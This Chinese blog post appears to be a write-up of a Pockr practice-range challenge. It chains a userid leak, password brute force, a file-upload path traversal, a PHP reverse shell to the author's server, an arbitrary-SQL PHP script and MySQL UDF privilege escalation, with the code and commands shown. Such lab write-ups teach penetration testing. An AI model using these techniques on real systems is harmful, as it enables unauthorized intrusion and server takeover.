HeartSky's blog


在渗透之路上渐行渐远


Pockr 未授权访问引发的血案

靶场来源: https://pockr.org/bug-environment/detail?environment_no=env_a20a1282feaae3fcbc

未授权访问

打开网站后只有登录和找回密码的功能
其中找回密码处随意输入一个邮箱都会返回 {"message":"false"},这时注意到页面下方的技术支持邮箱,输入了下发现返回了一些重要信息

1
{"message":"true","email":"[email protected]","userid":"BB568A04-8159-964E-CE49-D68AC10F8101"}

此时我们已经得到了 userid 信息,暂时不知道什么用,翻下源码,注意到有一个 sea-config.js,包含了两个重要的 js 文件

1
2
login.js
api.js

login.js 定义了找回密码时对邮箱的验证以及向后台发送请求,api.js 定义了一个在前端没有出现的功能,会向 User_Pockr_Api/UserInfo POST 一个 userid=xxx 的请求,这时联想到之前我们得到的 userid,直接构造一个请求,比较蛋疼的是 burp 的一个显示 bug,多 POST 了一行数据导致一直是格式错误,以为还有一层加密结果也没找到。最后就没做了,等过了几天发现有一个微信群,问了下出题人一块探讨了下才发现了这个意料之外的问题(表示心塞

输入正确的 userid 得到用户名

但是没有密码,尝试了下简单的弱口令不行,于是直接上了 top 1000 常用密码字典,得到密码为 1q2w3e,成功登录

文件上传

后台只有两个搜索功能和一个文件上传功能,测试了下搜索功能并没有用,再去试下文件上传功能

随便上传一个会得到这样的提示

1
2
3
4
5
6
7
8
9
10
Array
(
[0] => php
[1] =>
[2] => jpeg
[3] => gif
[4] => jpg
[5] => png
)
<p>The filetype you are attempting to upload is not allowed.</p>

应该是后缀的白名单,不过 php 在这里瞬间感觉有戏
直接上传了一个一句话,并且得到了路径

但是返回的路径只有子文件夹和文件名,加上我们的一层文件夹,试了半天没找到文件在哪个目录下。最后发现是存在目录穿越漏洞的,通过更改 subSysFolder,可以让它上传到网站根目录下

1
2
3
4
------WebKitFormBoundaryYfProJjo3FeUv8V1
Content-Disposition: form-data; name="subSysFolder"

../../../../../../../var/www/html/www

web 根目录通过一个 php 报错发现

反弹 shell

这里我电脑没下菜刀、蚁剑之类的工具,就直接反弹 shell 到我 vps 上了
用上 p 神的利用 php webshell 来反弹 shell 的脚本

1
2
3
4
5
6
7
8
9
10
11
<?php
$ip = 'xxx';
$port = xxx;
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

文章地址: https://www.leavesongs.com/PHP/backshell-via-php.html

成功反弹

因为目标是要获取数据库服务器权限,我们先去读取数据库配置文件。CI 的默认配置文件在 application/config/database.php

得到 mysql 用户的用户名密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$db['default'] = array(
'dsn' => 'mysql:host=sql05.ciadmin.com;port=3306;dbname=five_admindb',
'username' => 'ciadmin',
'password' => 'mysql_2018',
'dbdriver' => 'pdo',
'dbprefix' => '',
'pconnect' => FALSE,
'db_debug' => (ENVIRONMENT !== 'production'),
'cache_on' => FALSE,
'cachedir' => '',
'char_set' => 'utf8',
'dbcollat' => 'utf8_general_ci',
'swap_pre' => '',
'encrypt' => FALSE,
'compress' => FALSE,
'stricton' => FALSE,
'failover' => array(),
'save_queries' => TRUE
);

在尝试连接 mysql 时,发现没有 mysql 这个命令,这个时候大概猜到了网站和数据库不是同一台服务器,cat /etc/hosts 看下

1
172.18.0.2	bug05.ciadmin.com bug05

不能直接用命令连接 mysql,但是我们可以在 php 中去连接,直接从根目录下 copy 了一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$mysql_server_name='sql05.ciadmin.com';
$mysql_username='ciadmin';
$mysql_password='mysql_2018';
$mysql_database='five_admindb';
$mysqli = mysqli_connect($mysql_server_name,$mysql_username,$mysql_password,$mysql_database);
if (mysqli_connect_error()) {
die('Connect Database Error');
}
$sql = $_GET['sql'];
$q = mysqli_query($mysqli,$sql);
var_dump($q->fetch_array());
mysqli_close($mysqli);
?>

成功执行 mysql 语句

mysql udf 提权

谷歌了下,思路比较明确,通过 udf(user defined function)加载函数并执行命令
寻找插件库路径

1
show variables like "%plugin_dir%";

是 Linux 下的默认目录 /usr/lib/mysql/plugin/
因为已经有人写入 mysqludf.so 文件了,直接读取写入

1
select load_file('/usr/lib/mysql/plugin/mysqludf.so') into dumpfile '/usr/lib/mysql/plugin/heartsky.so

但是一直没写入成功,本地试了下,猜测可能是 mysql 权限不足的问题, 于是尝试把用户名改成 root,密码不变再去连接,结果证明 root 用户的密码也是这个
加载函数

1
create function sys_eval returns string soname "heartsky.so";

成功执行命令,获取到了数据库服务器的权限